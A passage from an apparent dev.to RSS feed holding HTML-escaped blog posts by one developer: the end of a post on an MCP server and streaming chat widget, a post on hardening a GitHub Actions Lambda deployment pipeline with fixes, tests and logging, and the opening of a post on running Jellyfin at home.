  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;done&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;done&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;chunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;decoder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;line&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data: &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[DONE]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="nx"&gt;accumulated&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;
      &lt;span class="nf"&gt;setStreamingContent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;accumulated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🎨 The Chat Widget
&lt;/h2&gt;

&lt;p&gt;The widget is a floating React component in the bottom-right corner of every page. A few features worth mentioning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Resizable&lt;/strong&gt;: Drag the top-left handle to resize the window&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Markdown rendering&lt;/strong&gt;: Assistant responses are rendered with the same styling as blog posts (headings, code blocks, lists, links, tables)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate limiting&lt;/strong&gt;: Server-side per-IP (20/hour) and global (200/hour) caps, plus a client-side 15-message session limit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scroll behavior&lt;/strong&gt;: Auto-scrolls to bottom on new messages and during streaming&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The markdown components mirror the blog's &lt;code&gt;mdx-components.tsx&lt;/code&gt; patterns — same color tokens, same link styles, same code block appearance — but scaled down for the compact chat bubble.&lt;/p&gt;

&lt;h2&gt;
  
  
  🛡️ Rate Limiting
&lt;/h2&gt;

&lt;p&gt;Since the Claude API costs money per request, rate limiting is essential. The implementation uses a simple in-memory approach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RATE_LIMIT_PER_IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RATE_LIMIT_GLOBAL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RATE_LIMIT_WINDOW_MS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="c1"&gt;// 1 hour&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ipRequests&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;count&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;resetAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Vercel, this resets whenever the serverless function cold-starts, but it's a good enough deterrent for a portfolio site. For absolute cost control, the Anthropic dashboard lets you set a monthly spend limit.&lt;/p&gt;

&lt;h2&gt;
  
  
  🎉 Outcome
&lt;/h2&gt;

&lt;p&gt;With the MCP server and chat widget in place, I now have:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Claude Code integration&lt;/strong&gt; — I can use Claude Code with full context of my blog posts, projects, and personal info by adding the MCP server to my config.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Visitor-facing AI assistant&lt;/strong&gt; — Anyone visiting the site can ask questions and get answers grounded in actual blog content.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Streaming UX&lt;/strong&gt; — Responses appear token by token, making the interaction feel natural.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shared tool logic&lt;/strong&gt; — The same search and data-loading code powers both the local MCP server and the web chat, with zero duplication.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The whole implementation sits cleanly in the existing Next.js project — the MCP server is a subdirectory that never gets deployed, and the chat widget is just another component in the layout.&lt;/p&gt;

&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/20" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>ai</category>
      <category>typescript</category>
      <category>nextjs</category>
    </item>
    <item>
      <title>🚀 Lambda Deployments v2: Taking the Lambda deployment pipeline from MVP to production-ready</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 12:00:00 +0000</pubDate>
      <link>https://dev.to/denesbeck/lambda-deployments-v2-taking-the-lambda-deployment-pipeline-from-mvp-to-production-ready-10oa</link>
      <guid>https://dev.to/denesbeck/lambda-deployments-v2-taking-the-lambda-deployment-pipeline-from-mvp-to-production-ready-10oa</guid>
      <description>&lt;h1&gt;
  
  
  🚀 Lambda Deployments v2
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Taking the Lambda deployment pipeline from MVP to production-ready&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🧭 Introduction
&lt;/h2&gt;

&lt;p&gt;Back in October 2025, I wrote about &lt;a href="https://dev.to/blog/3"&gt;automating Lambda deployments with GitHub Actions&lt;/a&gt;. That workflow was functional — it deployed Lambda functions and layers across multiple regions using hash-based change detection and OIDC authentication. But as I started relying on it more heavily, cracks began to show.&lt;/p&gt;

&lt;p&gt;There were bugs hiding in plain sight, the workflow was a single monolithic job, there were no tests, and the shell scripts had no guardrails. It worked, but it wasn't production-ready. So I decided to fix that — systematically.&lt;/p&gt;

&lt;h2&gt;
  
  
  🐛 Phase 1: Fixing What Was Broken
&lt;/h2&gt;

&lt;p&gt;The first step was finding and fixing bugs that were already there but hadn't surfaced yet.&lt;/p&gt;

&lt;h3&gt;
  
  
  Compatible Runtimes Bug
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;--compatible-runtimes&lt;/code&gt; flag in the AWS CLI expects space-separated values like &lt;code&gt;nodejs18.x nodejs20.x nodejs22.x&lt;/code&gt;. My workflow was passing a raw JSON array from &lt;code&gt;jq -c .runtimes&lt;/code&gt;, which produced &lt;code&gt;["nodejs18.x","nodejs20.x","nodejs22.x"]&lt;/code&gt;. This was silently accepted by the CLI in some cases, but it wasn't correct.&lt;/p&gt;

&lt;p&gt;The fix was straightforward:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Before&lt;/span&gt;
&lt;span class="nv"&gt;COMPATIBLE_RUNTIMES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;jq &lt;span class="nt"&gt;-c&lt;/span&gt; .runtimes &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CONFIG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# After&lt;/span&gt;
&lt;span class="nv"&gt;COMPATIBLE_RUNTIMES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.runtimes | join(" ")'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CONFIG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Hardcoded Region
&lt;/h3&gt;

&lt;p&gt;The contact form Lambda was hardcoding &lt;code&gt;eu-central-1&lt;/code&gt; for both SSMClient and SESClient. Since the function gets deployed to both &lt;code&gt;us-east-1&lt;/code&gt; and &lt;code&gt;eu-central-1&lt;/code&gt;, the US deployment was making cross-region API calls. Fixed it by using &lt;code&gt;process.env.AWS_REGION&lt;/code&gt;, which Lambda sets automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  Missing Error Handling
&lt;/h3&gt;

&lt;p&gt;Two shell scripts (&lt;code&gt;get-alias.sh&lt;/code&gt; and &lt;code&gt;install-packages.sh&lt;/code&gt;) were missing &lt;code&gt;set -euo pipefail&lt;/code&gt;. Without it, a failing command in the middle of the script would be silently ignored, potentially deploying broken artifacts. I also added a catch-all case to &lt;code&gt;install-packages.sh&lt;/code&gt; so unrecognized package types fail loudly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pagination in Layer Cleanup
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;lambda-layer-cleanup&lt;/code&gt; function was only processing the first page of results from &lt;code&gt;list_layers()&lt;/code&gt; and &lt;code&gt;list_layer_versions()&lt;/code&gt;. These APIs return at most 50 items per page. If you had more than 50 layers, the rest would be silently skipped. I added a &lt;code&gt;NextMarker&lt;/code&gt;-based pagination loop to handle this correctly.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔧 Phase 2: Hardening the Pipeline
&lt;/h2&gt;

&lt;p&gt;With the bugs fixed, the next step was making the pipeline more robust.&lt;/p&gt;

&lt;h3&gt;
  
  
  ShellCheck Linting
&lt;/h3&gt;

&lt;p&gt;I added &lt;a href="https://www.shellcheck.net/" rel="noopener noreferrer"&gt;ShellCheck&lt;/a&gt; to the CI pipeline. It catches common shell scripting mistakes like unquoted variables, unused variables, and POSIX compliance issues. It runs on every push against all scripts in the &lt;code&gt;scripts/&lt;/code&gt; directory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Input Validation
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;expand-config.sh&lt;/code&gt; script now validates that all required fields (&lt;code&gt;function_name&lt;/code&gt;, &lt;code&gt;runtime&lt;/code&gt;, &lt;code&gt;handler&lt;/code&gt;, &lt;code&gt;role&lt;/code&gt;) exist in &lt;code&gt;config.json&lt;/code&gt; before proceeding. Previously, a missing field would silently produce an empty string, and you'd only find out when the AWS API call failed with a cryptic error.&lt;/p&gt;

&lt;h3&gt;
  
  
  Concurrency Control
&lt;/h3&gt;

&lt;p&gt;Before this change, two pushes in quick succession to the same branch could trigger simultaneous deploys, potentially racing on hash file uploads and Lambda updates. I added a concurrency group scoped to the branch name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;concurrency&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;group&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;deploy-${{ github.ref_name }}&lt;/span&gt;
  &lt;span class="na"&gt;cancel-in-progress&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Splitting the Monolith
&lt;/h3&gt;

&lt;p&gt;The original workflow was a single ~300-line job that handled everything. I split it into three distinct jobs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;validate  →  deploy-layers  →  deploy-functions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each job only declares the environment variables it needs. The &lt;code&gt;deploy-functions&lt;/code&gt; job depends on &lt;code&gt;deploy-layers&lt;/code&gt; completing first (since new layer versions may affect function configuration). This also means if layers don't need deploying, that job finishes quickly and functions can proceed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Removing the Unnecessary
&lt;/h3&gt;

&lt;p&gt;I discovered that &lt;code&gt;jq&lt;/code&gt; is pre-installed on GitHub's &lt;code&gt;ubuntu-latest&lt;/code&gt; runners. The workflow was running &lt;code&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install -y jq&lt;/code&gt; on every single run — unnecessarily adding ~10 seconds to every deploy. Removed it.&lt;/p&gt;

&lt;p&gt;I also found that the hash generation script wasn't excluding its own output files (&lt;code&gt;.code.hash&lt;/code&gt;, &lt;code&gt;.config.hash&lt;/code&gt;) from the hash computation. This meant that on a second run without code changes, the hash would still differ because the hash files from the first run were included. Fixed it by excluding &lt;code&gt;*.hash&lt;/code&gt; files from the &lt;code&gt;find&lt;/code&gt; command.&lt;/p&gt;

&lt;h2&gt;
  
  
  🧪 Phase 3: Adding Tests
&lt;/h2&gt;

&lt;p&gt;This was the most impactful phase. Before this, any push to &lt;code&gt;main&lt;/code&gt; went straight to production with zero validation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Node.js Tests (Vitest)
&lt;/h3&gt;

&lt;p&gt;I wrote 14 unit tests for the contact form handler covering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Input validation&lt;/strong&gt; — missing token, invalid email, name/message boundary conditions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloudflare Turnstile&lt;/strong&gt; — failed verification, network errors&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SES email sending&lt;/strong&gt; — failure path&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Successful flow&lt;/strong&gt; — verifying SSM calls, Turnstile payload, SES parameters&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unhandled exceptions&lt;/strong&gt; — SSM crash fallback&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The tests use &lt;code&gt;aws-sdk-client-mock&lt;/code&gt; to mock SSM and SES clients, and &lt;code&gt;vi.mock&lt;/code&gt; for axios. Each test reimports the module to get a fresh state.&lt;/p&gt;

&lt;h3&gt;
  
  
  Python Tests (pytest)
&lt;/h3&gt;

&lt;p&gt;I wrote 10 unit tests for the layer cleanup function covering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pagination&lt;/strong&gt; — single page, multiple pages, empty responses for both &lt;code&gt;list_layers&lt;/code&gt; and &lt;code&gt;list_layer_versions&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deletion logic&lt;/strong&gt; — keeps latest 10 versions, deletes the rest&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multiple layers&lt;/strong&gt; — processes each independently&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error handling&lt;/strong&gt; — exceptions are logged and re-raised&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One interesting challenge: the production code calls &lt;code&gt;boto3.client('lambda')&lt;/code&gt; at module level. In CI, there's no AWS region configured, so this throws &lt;code&gt;NoRegionError&lt;/code&gt; before any test code runs. The fix was to mock &lt;code&gt;boto3.client&lt;/code&gt; itself before importing the module:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;mock_lambda_client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MagicMock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;boto3.client&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;return_value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mock_lambda_client&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;lambda_function&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Validation Gate
&lt;/h3&gt;

&lt;p&gt;All tests (ShellCheck + Vitest + pytest) now run in a &lt;code&gt;validate&lt;/code&gt; job that must pass before any deploy job starts. The pipeline flow is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;validate (lint + tests)
    |
    ├──&amp;gt; deploy-layers (us-east-1, eu-central-1)
    |         |
    └─────────┴──&amp;gt; deploy-functions (us-east-1, eu-central-1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  ✨ Phase 4: Production Polish
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Structured JSON Logging
&lt;/h3&gt;

&lt;p&gt;Both Lambda functions now output structured JSON logs instead of plain text. This makes them queryable with CloudWatch Insights:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;level&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;extra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;entry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toISOString&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nx"&gt;level&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;extra&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of &lt;code&gt;console.log("Email sent with SES:", messageId)&lt;/code&gt;, it now outputs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"2026-03-14T10:30:00.000Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Email sent with SES"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"messageId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"abc123"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SSM Parameter Caching
&lt;/h3&gt;

&lt;p&gt;The contact handler was calling SSM on every single invocation to fetch secrets. SSM parameters don't change often, so I moved the fetch to a module-level cached variable. The first invocation (cold start) fetches from SSM, and subsequent invocations on the same warm container reuse the cached values. This eliminates an API call per request and reduces latency.&lt;/p&gt;

&lt;h2&gt;
  
  
  📊 Summary of Changes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Changes&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Bug fixes&lt;/td&gt;
&lt;td&gt;5 fixes (runtimes, region, error handling, pagination, hashes)&lt;/td&gt;
&lt;td&gt;Correctness&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hardening&lt;/td&gt;
&lt;td&gt;ShellCheck, input validation, concurrency, job splitting&lt;/td&gt;
&lt;td&gt;Reliability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Testing&lt;/td&gt;
&lt;td&gt;24 tests (14 JS + 10 Python), validation gate&lt;/td&gt;
&lt;td&gt;Safety&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Polish&lt;/td&gt;
&lt;td&gt;JSON logging, SSM caching, README rewrite&lt;/td&gt;
&lt;td&gt;Operability&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  💡 Final Thoughts
&lt;/h2&gt;

&lt;p&gt;The original workflow was a solid MVP. These changes turned it into something I'm confident deploying production workloads on. The biggest lesson: &lt;strong&gt;tests aren't optional for CI/CD pipelines&lt;/strong&gt;. A deployment pipeline without tests is just a script that happens to run in the cloud.&lt;/p&gt;

&lt;p&gt;The full changelog is 16 commits across 5 phases — all in the same repos:&lt;/p&gt;

&lt;p&gt;🔗 &lt;a href="https://github.com/denesbeck/lambda-functions" rel="noopener noreferrer"&gt;https://github.com/denesbeck/lambda-functions&lt;/a&gt; \&lt;br&gt;
🔗 &lt;a href="https://github.com/denesbeck/lambda-functions-tf" rel="noopener noreferrer"&gt;https://github.com/denesbeck/lambda-functions-tf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/19" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>aws</category>
      <category>lambda</category>
      <category>cicd</category>
      <category>githubactions</category>
    </item>
    <item>
      <title>🏗️ Building my home server P7: Streaming movies with Jellyfin</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 10:14:45 +0000</pubDate>
      <link>https://dev.to/denesbeck/building-my-home-server-p7-streaming-movies-with-jellyfin-54f0</link>
      <guid>https://dev.to/denesbeck/building-my-home-server-p7-streaming-movies-with-jellyfin-54f0</guid>
      <description>&lt;h1&gt;
  
  
  🏗️ Building my home server: Part 7
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Streaming movies with Jellyfin&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In my previous blog post, I covered setting up centralized logging with Loki and Promtail. In this post, I'm deploying &lt;a href="https://jellyfin.org/" rel="noopener noreferrer"&gt;Jellyfin&lt;/a&gt; — a free, open-source media server. The idea is simple: I have a collection of movies on my server, and I want to stream them on my local network from any device with a web browser.&lt;/p&gt;

&lt;h2&gt;
  
  
  🤔 Why Jellyfin?
&lt;/h2&gt;

&lt;p&gt;Jellyfin is a self-hosted media server that organizes your media library, provides metadata (posters, descriptions, subtitles), and streams content to any device with a web browser or a Jellyfin client app. Think of it as a self-hosted Netflix.&lt;/p&gt;

